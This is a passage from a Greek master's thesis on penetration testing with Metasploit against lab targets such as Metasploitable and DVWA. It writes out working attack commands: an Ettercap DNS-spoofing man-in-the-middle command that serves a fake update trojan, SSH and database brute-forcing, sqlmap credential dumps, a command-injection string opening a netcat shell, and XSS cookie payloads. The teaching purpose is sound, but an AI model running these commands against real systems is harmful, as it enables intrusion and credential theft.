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Μόλις ο χρήστης εισάγει το URL στη γραµµή διευθύνσεων και πατήσει Enter, στο Metasploit 

εµφανίζεται το εξής µήνυµα:  

 
 

Και αντίστοιχα ο χρήστης µπορεί να επιλέξει είτε να ανοίξει είτε να αποθηκεύσει πρώτα την εικόνα: 

 
 

 Αφού επιλέξει να την ανοίξει, στο Metasploit εµφανίζεται το παρακάτω µήνυµα που σηµαίνει και την 

απόκτηση πλήρους ελέγχου του υπολογιστή – θύµατος.  

 
 

Στο σηµείο αυτό, παρουσιάζεται η διαδικασία του πώς ο επιτιθέµενος µπορεί να χρησιµοποιήσει τη 

διεργασία που δηµιουργήθηκε και να ελέγξει µέσα από την κονσόλα του το περιβάλλον του θύµατος. Με 

την εντολή sessions –l παρουσιάζεται µια λίστα από τις ήδη δηµιουργηµένες διεργασίες που 

µπορούν να χρησιµοποιηθούν, και έπειτα µε την εντολή sessions –i επιλέγεται η κατάλληλη. Κατευθείαν 

αναγνωρίζεται το λειτουργικό του συστήµατος – στόχου και εµφανίζεται το command line των Windows, 

όπου ο επιτιθέµενος µπορεί να δώσει ότι εντολές των Windows θέλει. Στο παράδειγµα χρησιµοποιείται η 

εντολή dir, µε την οποία εµφανίζεται µια λίστα µε όλους τους φακέλους και αρχεία που υπάρχουν στο 

τρέχον path. 

Man-In-The-Middle χρησιµοποιώντας το Ettercap 

H man-in-the-middle επίθεση είναι µια κοινή παραβίαση ασφάλειας. Είναι µια µορφή ενεργούς 

υποκλοπής, στην οποία ο επιτιθέµενος κάνει ανεξάρτητες συνδέσεις µε τα θύµατα, καθυστερεί τα 

µηνύµατα µεταξύ τους, και τα κάνει να πιστεύουν ότι µιλούν απευθείας ο ένας στον άλλο µε µια ιδιωτική 

σύνδεση, ενώ στην πραγµατικότητα ολόκληρη η συνοµιλία ελέγχεται από τον εισβολέα. Με άλλα λόγια,  
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ο κακόβουλος host ελέγχει τη ροή επικοινωνίας και µπορεί να αποσπάσει ή να αλλάξει πληροφορίες που 

στέλνονται από έναν από τους αρχικούς συµµετέχοντες. 

 Στην πρώτη περίπτωση, ο επιτιθέµενος – που µπορεί να µην είναι συµβαλλόµενο µέρος στη 

συνδιάλεξη -  ακούει ένα σύνολο µεταδόσεων σε και από διαφορετικούς hosts, µε αποτέλεσµα την 

αποκάλυψη ευαίσθητων πληροφοριών σε τρίτους εν αγνοία των συµµετεχόντων. Όσον αφορά τη δεύτερη 

περίπτωση, ο επιτιθέµενος, εκµεταλλευόµενος και την προηγούµενη ικανότητά του,  τροποποιεί τα 

δεδοµένα σύµφωνα µε το συµφέρον του.  

 

 

 
Εικόνα 6 : Τοπολογία επίθεσης man-in-the-middle 

  

 Υπάρχουν πολλά εργαλεία για να πραγµατοποιηθεί µια επίθεση MITM, όπως το PacketCreator, 

το Ettercap, το dsniff. Στο παράδειγµα µας χρησιµοποιείται το εργαλείο Ettercap το οποίο είναι µια 

ολοκληρωµένη σουίτα για τις MITM επιθέσεις. Ένα από τα πιο ισχυρά plugins του Ettercap επιτρέπει 

στον επιτιθέµενο να ανακατευθύνει την κυκλοφορία στο δικό του τοπικό δίκτυο κι αυτό µπορεί να 

χρησιµοποιηθεί για να «ψαρεύει» κωδικούς πρόσβασης ή να ξεγελάει τους χρήστες να κατεβάζουν 

κακόβουλο λογισµικό.  

 Στην επίθεση που παρουσιάζεται στο παράδειγµα, δηµιουργείται αρχικά το meterpreter Trojan  

µε όνοµα Windows-Update.exe. 

 
 

 Στη συνέχεια, µε τη χρήση του εργαλείου Ettercap ξεκινάει η επίθεση ManInTheMiddle. 

Χρησιµοποιείται  το plugin του Ettercap “ dns_spoof”, του οποίου η λειτουργία αναφέρθηκε παραπάνω, 

το οποίο δοκιµάζει την επίθεση DNS spoofing. Γενικά, όταν ο χρήστης επιθυµεί να έχει πρόσβαση σε µια 

σελίδα και πληκτρολογεί το αντίστοιχο URL, ο υπολογιστής του - ο οποίος έχει µια διεύθυνση IP - 

πρώτα θα ρωτήσει τον DNS server για την IP διεύθυνση που ταιριάζει στο URL και µετά ο browser θα 

εµφανίσει τη σελίδα.  Με το DNS spoofing, όταν στέλνεται ένα DNS  request, o spoofer απαντάει στη 

θέση του DNS server και παρέχει µια άλλη IP διεύθυνση. Ως συνέπεια, ο χρήστης νοµίζει ότι έχει 

πρόσβαση στο site που επιθυµούσε αλλά στην πραγµατικότητα το site είναι αυτό του επιτιθέµενου λόγω 
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της διαφορετικής διεύθυνσης IP (εικόνα). Αυτό επιτυγχάνεται µε την κατάλληλη ρύθµιση του 

configuration file, όπου στην περίπτωση αυτή είναι το etter.dns και στο οποίο καταγράφεται η IP 

διεύθυνση του Backtrack ως εξής: Α 192.168.108.128. 

 Έπειτα, χρησιµοποιούµε την εντολή του ettercap, η οποία έχει την παρακάτω σύνταξη: 

ettercap [OPTIONS] [TARGET1] [TARGET2] 

και στο παράδειγµά µας  έχει την εξής µορφή: 

ettercap -i eth1 -T -q -P dns_spoof -M ARP /192.168.108.2/ 
/192.168.108.129/ 

Στο [OPTIONS] περιλαµβάνονται τα ορίσµατα: 

• -i eth1, το οποίο ορίζει τη διεπαφή (interface) 

• -T, το οποίο δηλώνει ότι θα χρησιµοποιηθεί η κονσόλα για την εµφάνιση των αποτελεσµάτων. 

• -q, που σηµαίνει «Quiet mode». Μπορεί να χρησιµοποιηθεί µόνο σε συνδυασµό µε το όρισµα –

Τ και στην ουσία δεν τυπώνει τα περιεχόµενα του πακέτου. 

• -P dns_spoof, που δηλώνει ποιο plugin θα χρησιµοποιηθεί. 

• -M ARP, µε το οποίο στην ουσία ξεκινάει η ARP MITM επίθεση. 

Όσον αφορά τους στόχους [TARGET1], [TARGET2] µπορεί να είναι IPs και MACs, και συγκεκριµένες 

TCP και UDP πόρτες και είναι της µορφής MAC/IPs/PORTs.  Εάν παραληφθεί κάποιο από αυτά, θα 

πρέπει να χρησιµοποιηθεί ο χαρακτήρας /.  Παρακάτω φαίνεται το αποτέλεσµα αυτής της εντολής, 

δηλαδή σε όποια σελίδα και να συνδέεται ο χρήστης στην ουσία συνδέεται πίσω στον επιτιθέµενο χωρίς 

να το καταλάβει.
 [14] 

 

 

 

 
 

Επίσης, µε τη χρήση του Metasploit δηµιουργείται το exploit: 

 
 

 Έτσι, λοιπόν για παράδειγµα, όταν ο χρήστης συνδέεται στο Facebook , το αποτέλεσµα που παίρνει είναι 

η παρακάτω εικόνα: 
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Αφού θεωρεί ότι έχει επισκεφτεί το site που επιθυµούσε, όπως αναγράφεται άλλωστε και στη γραµµή 

διευθύνσεων, πείθεται από το µήνυµα και συνεχίζει να κατεβάσει το Update που απαιτείται.  

 
 

 Στη συνέχεια, ο χρήστης αφού έχει κατεβάσει το Update, το εκτελεί. Το αποτέλεσµα είναι να 

ανοίξει το meterpreter session, να καταγραφούν τα παρακάτω και να αποκτήσει ο επιτιθέµενος τον πλήρη 

έλεγχο του συστήµατος στόχου που εδώ είναι τα Windows. 

 
 

MySQL και χρήση SSH 

Η πιο κοινώς χρησιµοποιούµενη επίθεση ενάντια σε οποιαδήποτε κρυπτογραφηµένα στοιχεία είναι η 

«Επίθεση ∆ιεξοδικής Αναζήτησης», ή αλλιώς «Brute force Attack». Σε αυτήν την επίθεση, ο 

επιτιθέµενος προσπαθεί να δοκιµάσει όλους τους πιθανούς συνδυασµούς χαρακτήρων που µπορεί να 

χρησιµοποιούνται για έναν κωδικό έως ότου καταλήξει σε µία λύση.  Για να βρει, για παράδειγµα, έναν 

κωδικό ενός χαρακτήρα αρκεί να δοκιµάσει και τους 26 χαρακτήρες, αν υποθέσουµε ότι ο χρήστης 

επέλεξε να γίνει η αναζήτηση µόνο στο αγγλικό αλφάβητο και στα κεφαλαία δηλαδή από το A έως το Z. 

Τότε είναι σίγουρο ότι θα βρει τον κωδικό. Αν, όµως, µεγαλώσουµε το µήκος του κωδικού που ψάχνουµε 

και από ένα χαρακτήρα θέλουµε δύο τότε οι πιθανοί συνδυασµοί που πρέπει να δοκιµάσει είναι 26
2
 = 676 

συνδυασµούς. Ο αριθµός πιθανών συνδυασµών (και εποµένως ο απαραίτητος χρόνος) αυξάνεται ραγδαία 

καθώς αυξάνεται και το µήκος του κωδικού πρόσβασης και αυτή η µέθοδος γίνεται γρήγορα ασύµφορη. 

Εκτός, βέβαια, από το µέγιστο µήκος του συνόλου των χαρακτήρων πρέπει επίσης να διευκρινιστεί και 

το σύνολο των χαρακτήρων που χρησιµοποιούνται, διότι όσο µεγαλύτερο είναι το σύνολο των 

χαρακτήρων προς προσπέλαση τόσο µεγαλύτερος είναι και ο χρόνος που απαιτείται για να βρεθεί ο 

κωδικός. ∆υστυχώς, όµως, συνήθως δεν έχουµε ιδέα για το σύνολο των χαρακτήρων που 

χρησιµοποιούνται και δεν υπάρχει και κάποιος τρόπος να καθοριστεί αυτό.  

 Παρόµοιες επιθέσεις είναι και οι «Επιθέσεις Λεξικού» ή αλλιώς «Dictionary Attacks», µε τη 

διαφορά ότι εδώ δοκιµάζεται κάθε «λέξη» που υπάρχει σε έναν πλήρη κατάλογο- «λεξικό». Αυτές οι 

επιθέσεις είναι συνήθως πολύ γρήγορες εκτός αν το λεξικό είναι µεγάλο και ο κωδικός µπορεί να 

ανακτηθεί µόνο αν περιέχεται στον κατάλογο. Η επιτυχία αυτής της επίθεσης εξαρτάται κυρίως από το 

χρήστη και όχι από τις ικανότητες του επιτιθέµενου, διότι ο χρήστης καθορίζει την πολυπλοκότητα του 

κωδικού που θα χρησιµοποιήσει.  

 Στο παράδειγµα που ακολουθεί φαίνεται πώς αποκτάται πρόσβαση µε δικαιώµατα διαχειριστή 

σε ένα σύστηµα χρησιµοποιώντας το Metasploit, τον ΜySQL client, το πρωτόκολλο SSH και τη µέθοδο 

της επίθεσης Λεξικού. 

 Όσον αφορά το πρωτόκολλο SSH (Secure Shell) παρέχει ασφαλή αποµακρυσµένη σύνδεση σε 

υπολογιστές πάνω από µη ασφαλές δίκτυο, προσφέρει τόσο ένα ασφαλές σύστηµα αναγνώρισης όσο και 
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ασφαλή µεταφορά αρχείων και χρησιµοποιεί συνήθως την θύρα 22 για την σύνδεση του υπολογιστή µε 

έναν άλλο υπολογιστή στο Internet.  Παρακάτω αναφέρονται κάποια βασικά στοιχεία του πρωτοκόλλου: 

• Το Transport layer protocol, που παρέχει πιστοποίηση της ταυτότητας του διακοµιστή, 

εµπιστευτικότητα, ακεραιότητα των δεδοµένων και εξασφάλιση του απόρρητου της 

συναλλαγής. Τρέχει πάνω από κάθε αξιόπιστο πρωτόκολλο µεταφοράς, όπως το TCP. 

• Το User Authentication protocol που πιστοποιεί την ταυτότητα του πελάτη - χρήστη στον 

εξυπηρετητή. Τρέχει πάνω από το Transport layer protocol. 

• Το Connection protocol που πολυπλέκει το ασφαλές κανάλι, που δηµιουργείται από τα δύο 

προηγούµενα, σε αρκετά λογικά κανάλια. Τρέχει πάνω από το User Authentication protocol. 

  Στο παράδειγµα που εκτελείται, αρχικά πραγµατοποιείται σάρωση πορτών µε το αντίστοιχο 

εργαλείο, nmap: 

 
 

Στη συνέχεια, χρησιµοποιείται το scanner mysql/mysql_login το οποίο είναι ένα brute-force 

login εργαλείο για MySQL servers. Θέτοντας τις κατάλληλες παραµέτρους, όπως φαίνεται στην 

παρακάτω εικόνα,  

 
 

ο επιτιθέµενος µπορεί να  αποκτήσει τον κωδικό πρόσβασης στον ΜySQL server, ο οποίος στην 

προκειµένη περίπτωση  είναι  “password: root”. 

 
 

Ο επιτιθέµενος συνδέεται στη βάση µε τους κωδικούς που απέσπασε κι αποκτά πρόσβαση στο αρχείο 

/etc/passwd  από το οποίο φαίνεται κι ο χρήστης msfadmin του Μetasploitable. 
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Στη συνέχεια ο επιτιθέµενος χρησιµοποιεί το scanner ssh/ssh_login. To ssh_login module του 

Μetasploitable είναι αρκετά πολύπλευρο καθώς δεν δοκιµάζει απλώς ένα σύνολο από διαπιστευτήρια 

(credentials) σ’ ένα εύρος από IP διευθύνσεις αλλά µπορεί να παρουσιάσει brute-force προσπάθειες 

εισόδου (brute-force login attempts). Είναι επίσης δυνατό να υπάρχει ένα αρχείο στο module που περιέχει 

ονόµατα εισόδου (usernames) και κωδικούς πρόσβασης (passwords) τα οποία δοκιµάζονται προκειµένου 

να αποκτηθεί η είσοδος στο σύστηµα. 

 Με τις παρακάτω παραµέτρους αποκτάται είσοδος στο σύστηµα όπως φαίνεται στις παρακάτω 

εικόνες: 
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Τέλος, ο επιτιθέµενος συνδέεται στο σύστηµα απευθείας µε το SSH κι αποκτά δικαιώµατα διαχειριστή: 

  

 
 

PostgreSQL και χρήση SSH 

Στο συγκεκριµένο παράδειγµα, ο επιτιθέµενος αποκτά πρόσβαση µέσω brute force επίθεσης σε έναν 

Postgresql client. Στη συνέχεια, προσπαθεί να αποκτήσει πρόσβαση στο σύστηµα µέσω SSH αλλά χωρίς 

να γνωρίζει τον κωδικό πρόσβασης παρά µόνο µε τα κλειδιά SSH. Τα κλειδιά SSH χρησιµοποιούνται στο 

σύστηµα πιστοποίησης που βασίζεται στα κλειδιά, ως εναλλακτική στο προεπιλεγµένο σύστηµα 

πιστοποίησης βασισµένο στους κωδικούς πρόσβασης. Με την πιστοποίηση που βασίζεται σε κλειδιά, δεν 

χρειάζεται η πληκτρολόγηση ενός κωδικού πρόσβασης για να γίνει πιστοποίηση. Τα κλειδιά SSH 

αποτελούνται από δύο κλειδιά: ένα ιδιωτικό κλειδί, που πρέπει να είναι µυστικό, και ένα δηµόσιο κλειδί 

που µπορεί να τοποθετηθεί σε οποιονδήποτε υπολογιστή επιθυµείται να υπάρχει πρόσβαση. Στο 

συγκεκριµένο παράδειγµα χρησιµοποιείται ένα κλειδί µε αλγόριθµο κρυπτογράφησης RSA και µήκος 

2048 ψηφία.  

 H επίθεση ξεκινά µε το εργαλείο nmap για να ανιχνευθεί αν η υπηρεσία που µας ενδιαφέρει 

υπάρχει στο σύστηµα. 
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Εφόσον οι υπηρεσίες είναι «τρέχουν», ο επιτιθέµενος προσπαθεί να αποκτήσει πρόσβαση στη βάση 

χρησιµοποιώντας το scanner/postgres/postgres_login.  

 

 

Αυτό το module προσπαθεί να αποκτήσει πρόσβαση στην PostgreSQL χρησιµοποιώντας συνδυασµούς 

username και password που υπάρχουν στις επιλογές του USER_FILE, του PASS_FILE και του 

USERPASS_FILE. Οι παράµετροι που έχει και µπορεί να πάρει αυτό το module είναι οι παρακάτω: 

 

 

Όπου στο USER_FILE, το PASS_FILE και το USERPASS_FILE αντιστοιχούν wordlists που υπάρχουν 

εξορισµού στο Metasploit. O χρήστης ορίζει τις υπόλοιπες παραµέτρους και γίνεται η επίθεση µε 

επιτυχία. 
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Αφού ανακτά τους κωδικούς, ο επιτιθέµενος µπαίνει στη βάση δεδοµένων, δηµιουργεί τον πίνακα 

any_Table κι εκεί βάζει τα στοιχεία από το αρχείο /etc/passwd.   

 

 
 

Στο σηµείο αυτό βλέπει ότι το όνοµα χρήστη του συστήµατος - στόχου είναι «msfadmin». 
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Στη συνέχεια, µέσω των sshkeys ο επιτιθέµενος µαθαίνει ποιο είναι το δηµόσιο κλειδί του χρήστη 

msfadmin. 

 
 

 
 

 

Έπειτα, ο επιτιθέµενος συνδέεται στο 

 http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 όπου και κατεβάζει όλα τα  

δηµόσια κλειδιά debian_ssh_rsa_2048_x86. Και τέλος, συνδέεται στο σύστηµα στόχο µέσω των ssh 

κλειδιών και ο επιτιθέµενος καταφέρνει να αποκτήσει πρόσβαση στο σύστηµα. 
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SQL Injection 

Η SQL injection (SQL έγχυση) είναι µια διαδεδοµένη µέθοδος επίθεσης που στοχεύει σε ένα site (όχι 

στους χρήστες του) και πιο συγκεκριµένα στη βάση δεδοµένων του. Ο στόχος της είναι να εισάγει 

αυθαίρετα δεδοµένα, κυρίως ερωτήµατα βάσεων δεδοµένων (queries), σε εκφράσεις που εκτελούνται 

από τη βάση. Το ερώτηµα αυτό µπορεί να αφορά διάφορες δραστηριότητες, από την ανάκτηση 

δεδοµένων µέχρι την τροποποίηση ή αφαίρεση πληροφοριών από τη βάση. 

 Στις επιθέσεις αυτές ο επιτιθέµενος προσπαθεί να εκµεταλλευτεί την ελλιπή ή λανθασµένη 

επαλήθευση των δεδοµένων εισόδου µιας εφαρµογής. Συνήθεις τρόποι που οι χρήστες δίνουν δεδοµένα 

εισόδου σε µια εφαρµογή ιστού είναι οι φόρµες (µε τις µεθόδους HTTP GET και POST) και οι 

σύνδεσµοι (µέθοδος HTTP GET). Στην περίπτωση ελλιπούς επαλήθευσης των δεδοµένων εισόδου είναι 

δυνατόν να περαστούν επιπλέον SQL εντολές προς εκτέλεση στην εφαρµογή ή να αλλαχτούν µέρη µιας 

επερώτησης SQL µε τρόπο που δεν έχει προβλεφθεί.  

 Στο παρακάτω παράδειγµα θα γίνει µια επίθεση SQL injection στο DVWA (Damn Vulnerable 

Web Application). To DVWA είναι µια PHP/MySQL εφαρµογή ιστού που είναι ιδιαίτερα ευπαθής. Ο 

κύριος στόχος της είναι να παρέχει ένα νόµιµο περιβάλλον στο οποίο θα µπορούν επαγγελµατίες ή 

φοιτητές να ελέγχουν θέµατα ασφάλειας των εφαρµογών τους. Ένα άλλο εργαλείο που χρησιµοποιείται 

είναι το sqlmap. Πρόκειται για ένα εργαλείο penetration testing το οποίο αυτοµατοποιεί τη διαδικασία 

ανίχνευσης των SQL injections και της απόκτησης ελέγχου της βάσης δεδοµένων. Εδώ, χρησιµοποιείται 

το sqlmap για να αποκτηθεί : 

1. Μία λίστα από database management usernames και passwords. 

2. Μια λίστα από βάσεις δεδοµένων. 

3. Μια λίστα από πίνακες για µια συγκεκριµένη βάση δεδοµένων. 

4. Μια λίστα από χρήστες και συνθηµατικά για ένα συγκεκριµένο πίνακα της βάσης. 

Αρχικά απενεργοποιείται το SELINUX και το firewall για να µπορούν να φανούν οι βασικές επιθέσεις 

στο DVWA: 

 

 
 

Έπειτα, από το Βacktrack γίνεται είσοδος στο DVWA και το επίπεδο ασφάλειας της εφαρµογής ορίζεται 

σε «low»: 
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Στη συνέχεια, γίνεται προσπάθεια απόκτησης του PHP Cookie. Eπιλέγεται από το µενού η επιλογή «Sql 

Injection» και από τις επιλογές του Firefox: Tools --> Tamper Data. Αφού ξεκινήσει αυτή η επιλογή 

(tampering data) γίνεται ένα βασικό «injection» βάζοντας στο πεδίο το «1».  Ο σκοπός που γίνεται αυτό 

είναι για να φανεί το GET request  να γίνεται στο CGI πρόγραµµα. Επίσης ως έξοδο θα εµφανιστεί το 

πεδίο «Surname» που θα χρειαστεί στη συνέχεια για να αποκτηθούν οι κωδικοί πρόσβασης για την 

είσοδο στη βάση δεδοµένων. 

 

 
 

Aπό τη διαδικασία που περιγράφηκε αποκτάται το referer url και οι πληροφορίες για το cookie της 

σύνδεσης το οποίο και καταχωρείται. 
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Referer: 
http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit 

Cookie: security=low; PHPSESSID=q8kokjihntdq55hqm08qon9ou1 
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Στη συνέχεια αυτές οι πληροφορίες σε συνδυασµό µε την εντολή sqlmap θα µας δώσουν τις λίστες που 

αναφέρθηκαν παραπάνω. 

1. Χρησιµοποιούµε την εντολή sqlmap για να αναγνωριστεί ο τρέχων χρήστης και η τρέχουσα 

βάση δεδοµένων: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" -b --
current-db --current-user 

 

 
 

 

 
 

Ο χρήστης είναι ο «root» κι η βάση δεδοµένων που χρησιµοποιείται είναι η «dvwa». 

 

2. Για να αποκτηθεί το όνοµα χρήστη κι  ο κωδικός πρόσβασης για τη διαχείριση της βάσης 

χρησιµοποιείται η εντολή: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" --
string="Surname" --users --password 
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O κωδικός  πρόσβασης για τον χρήστη db_hacker είναι σπασµένος και είναι ο «abc123». 

Για να αποκτηθούν τα δικαιώµατα για τη βάση του db_hacker εκτελείται η εντολή: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" -U 
db_hacker –privileges 

 
και παρατηρείται ότι ο db_hacker έχει δικαιώµατα διαχειριστή και ότι µπορεί να έχει είσοδο από 

οπουδήποτε µέσω του «%» wildcard τελεστή. 

 
 



ΠΑ
ΝΕ
ΠΙ
ΣΤ
ΗΜ

ΙΟ
 Π
ΕΙ
ΡΑ
ΙΩ
Σ

Μεταπτυχιακή ∆ιατριβή                                                                                                            Μπαλλάση Σταυρούλα - Ινώ
                                                                             

Επιθέσεις σε λειτουργικά συστήµατα µε χρήση του Metasploit στα πλαίσια της Αξιολόγησης Ασφάλειας                 47 

3. Για να αποκτηθεί µία  λίστα που εµφανίζει όλες τις βάσεις δεδοµένων χρησιµοποιείται η εντολή: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" --dbs 
και οι διαθέσιµες βάσεις είναι η «dvwa», η «information schema», η 
«mysql» και η «test». 

 
 

4. Για να αποκτηθούν οι πίνακες και τα περιεχόµενα της βάσης «dvwa» εκτελείται η εντολή: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" -D dvwa –
tables 

Και εµφανίζονται οι πίνακες «guestbook» και «users». 

 
 

Προκειµένου να αποκτηθούν οι στήλες για τον πίνακα dvwa.users εκτελείται η εντολή: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" -D dvwa -T 
users --columns  

και εµφανίζονται οι στήλες του πίνακα dvwa.users (avatar, first_name, last_name, password, user, 

user_id) 
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Και τέλος για να αποκτηθούν οι χρήστες και οι κωδικοί πρόσβασης από τον πίνακα dvwa.users 

χρησιµοποιείται η εντολή: 

./sqlmap.py -u 
"http://192.168.19.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q8kokjihntdq55hqm08qon9ou1; security=low;" -D dvwa -T 
users -C user,password –dump  

και εµφανίζονται οι πέντε χρήστες µε τους αντίστοιχους κωδικούς πρόσβασης.     

 

Command Execution 

Στο συγκεκριµένο παράδειγµα θα χρησιµοποιηθεί η εντολή «Command Execution» του Dvwa µε επίπεδο 

ασφάλειας «low».  Θα προσαρτηθεί η εντολή netcat σε µια IP διεύθυνση και  στη συνέχεια µε τη βοήθεια 

του Metasploit  θα γίνει η πρόσβαση στη βάση δεδοµένων. 

Αρχικά, απενεργοποιείται το SELINUX και το firewall για να µπορούν να φανούν οι βασικές επιθέσεις 

στο DVWA: 
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Έπειτα, από το Βacktrack γίνεται είσοδος στο DVWA και το επίπεδο ασφάλειας της εφαρµογής ορίζεται 

σε «low». 

Εκτελείται η  εντολή: 

192.168.19.131;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe 

µε την οποία δηµιουργείται σωλήνωση, η οποία επιτρέπει σε ξεχωριστές διεργασίες να επικοινωνούν 

µεταξύ τους χωρίς να έχουν σχεδιαστεί για να δουλεύουν παράλληλα. Αυτό θα τους επιτρέψει να 

επικοινωνήσουν µε το netcat το οποίο ακούει στην πόρτα 4444. Παρατηρείται  ότι υπάρχει η ένδειξη  

«loading» που θα υπάρχει καθ’ όλη τη διάρκεια του exploit. 
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Έπειτα, χρησιµοποιείται το Metasploit για να συνδεθεί µε το Netcat: 

 
 

Στην παραπάνω εικόνα φαίνεται ότι απέκτησε πρόσβαση στο σύστηµα - στόχο µε IP διεύθυνση 

192.168.19.131. 

 Τώρα ο χρήστης µπορεί να µάθει και ποιο είναι το όνοµα της βάσης (dvwa), ο κωδικός της 

βάσης dvwa, και το όνοµα χρήστη (root) και το συνθηµατικό (root)  γράφοντας στην κονσόλα την 

εντολή: 

cat /var/www/html/dvwa/config/config.inc.php 
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Cross Site Scripting (XSS)  

Η επίθεση XSS επιτυγχάνεται εξαιτίας της ύπαρξης διαφόρων ευπαθειών στον κώδικα των ιστοσελίδων, 

οι οποίες επιτρέπουν στους επιτιθέµενους να προσπεράσουν τους µηχανισµούς προστασίας των browser. 

Τελικός σκοπός µιας επίθεσης XSS είναι η εκτέλεση κώδικα JavaScipt στον browser του επισκέπτη. Στην 

ουσία, πρόκειται για ένα είδος εισαγωγής κακόβουλου κώδικα (code injection) µέσα στον κώδικα µιας 

νοµότυπης κατά τα άλλα ιστοσελίδας. Αυτός ο κώδικας, όµως, δεν εκτελείται από τον web server, αλλά 

από τους browser των επισκεπτών. Κατά κύριο λόγο, αυτές οι επιθέσεις είναι εφικτές επειδή οι 

προγραµµατιστές θεωρούν αξιόπιστα όλα όσα δίνει ο χρήστης.  

 Οι επιθέσεις XSS µπορούν να χωριστούν σε τρεις κύριες κατηγορίες µε βασικό κριτήριο 

διαχωρισµού τον τρόπο µε τον οποίο ο κακόβουλος κώδικας (payload) καταλήγει στον browser του 

θύµατος. Έτσι, έχουµε τις ακόλουθες τρεις κατηγορίες. 

Reflected XSS.  

Στα Reflected XSS ή αλλιώς Non-persistent XSS, τα ίδια τα θύµατα στέλνουν άθελα το κακόβουλο 

payload στη σελίδα. Η σελίδα κατασκευάζει την έξοδό της ενσωµατώνοντας αυτόν τον κώδικα, έτσι ο 

κώδικας επιστρέφει στο θύµα και εκτελείται από τον browser. Για παράδειγµα,  το θύµα πείθεται να 

πατήσει πάνω σε κάποιο ειδικά διαµορφωµένο link, το οποίο έχει ενσωµατωµένο στο URL του ένα 

κακόβουλο payload. Με τη χρήση του Reflected XSS, οι επιτιθέµενοι µπορούν να κλέψουν το session ID 

(cookie) του θύµατος και να περιηγηθούν στη σελίδα µέσα από το λογαριασµό του. Επίσης, µε το 

Reflected XSS πραγµατοποιούνται και αλλοιώσεις στην εµφάνιση των site (defacement). 

Persistent XSS 
Σε µια τέτοιου είδους επίθεση το κακόβουλο payload δεν εκτελείται µόνο σε κάποιον µεµονωµένο 

χρήστη, αλλά σε όλους τους επισκέπτες της µολυσµένης σελίδας. Αυτό συµβαίνει γιατί το payload 

αποθηκεύεται στη βάση δεδοµένων του website και φορτώνεται αυτόµατα από τον κώδικα των 

ιστοσελίδων. Πρόκειται για την πιο επικίνδυνη µορφή XSS, καθώς είναι ιδιαίτερα µαζική. Τα Persistent 

XSS δεν είναι σπάνια και πραγµατοποιούνται σε websites τα οποία χρησιµοποιούν βάσεις δεδοµένων. 

DOM-based XSS 

 Ο συγκεκριµένος τύπος XSS βασίζεται στο DOM. Αυτή τη φορά δεν χρειάζεται να σταλεί ο κακόβουλος 

κώδικας στον server ώστε να επιστραφεί στον browser του θύµατος, ούτε να αποθηκευτεί στη βάση 

δεδοµένων του website. Αυτή η επίθεση µπορεί να λειτουργήσει και τοπικά, σε µια στατική σελίδα 

HTML, η οποία έχει αποθηκευτεί στο µηχάνηµα. Προϋπόθεση για κάτι τέτοιο είναι η αξιοποίηση των 

µεθόδων DOM από τη σελίδα, για τη λήψη του URL στο οποίο εµφανίζονται.  

 Στην παρούσα εργασία θα παρουσιαστούν παραδείγµατα XSS επιθέσεων. Συγκεκριµένα, 

παρουσιάζεται µία βασική XSS επίθεση, µία iframe XSS επίθεση και µια cookie επίθεση. Επίσης, θα 

δηµιουργηθεί ένα php/meterpreter/reverse_tcp payload το οποίο θα «ανέβει» στο DVWA και θα γίνει και 

µια PHP Payload XSS επίθεση σε αυτό. 

 Αρχικά, γίνεται αλλαγή στο  όριο χαρακτήρων του «comment box» του DVWA. Εξορισµού, το 

comment box στο XSS Stored GUI επιτρέπει µόνο 50 χαρακτήρες αλλά εδώ γίνεται αλλαγή ώστε να 

επιτρέπονται 250 χαρακτήρες για να φανούν οι επιθέσεις.  

 
 

Αφού µπούµε στο DVWA και το security level είναι «low» ξεκινά η πρώτη XSS επίθεση.  Στο πεδίο 

Message γράφεται: 

<script>alert("This is a XSS Exploit Test")</script> 

και το αποτέλεσµα που εµφανίζει είναι το παρακάτω: 
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Μπορεί να παρατηρηθεί ότι το Javascript alert που δηµιουργήθηκε εµφανίζεται στην οθόνη. Κάθε φορά 

που ένας χρήστης συνδέεται, αυτό το XSS exploit θα εµφανίζεται και µπορεί εύκολα να τροποποιηθεί για 

να αποθηκεύει πληροφορίες για cookies ή για τη σύνδεση (session), οι οποίες αργότερα πολύ εύκολα 

µπορούν να χρησιµοποιηθούν σε Man-in-the-Middle επιθέσεις.  

 Συνεχίζοντας στην IFRAME επίθεση, πρώτα γίνεται reset η βάση δεδοµένων για να µην 

εµφανίζεται σε κάθε παράδειγµα η ίδια XSS επίθεση. Στο πεδίο Message γράφεται: 

<iframe src="http://www.cnn.com"></iframe> 

 Με τη συγκεκριµένη επίθεση θα µπορούσε ένας χρήστης να χρησιµοποιήσει το Social 

Engineering Toolkit για να δηµιουργήσει µία κακόβουλη «κλωνοποιηµένη» ιστοσελίδα και να την 

τοποθετήσει εκεί. 
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Τρίτη περίπτωση είναι το cookie XSS exploit. Στο πεδίο Message αναγράφεται: 

<script>alert(document.cookie)</script> 

Κι εµφανίζεται το sessionid (cookie) που χρησιµοποιείται για την τρέχουσα σύνδεση(session). Ένας 

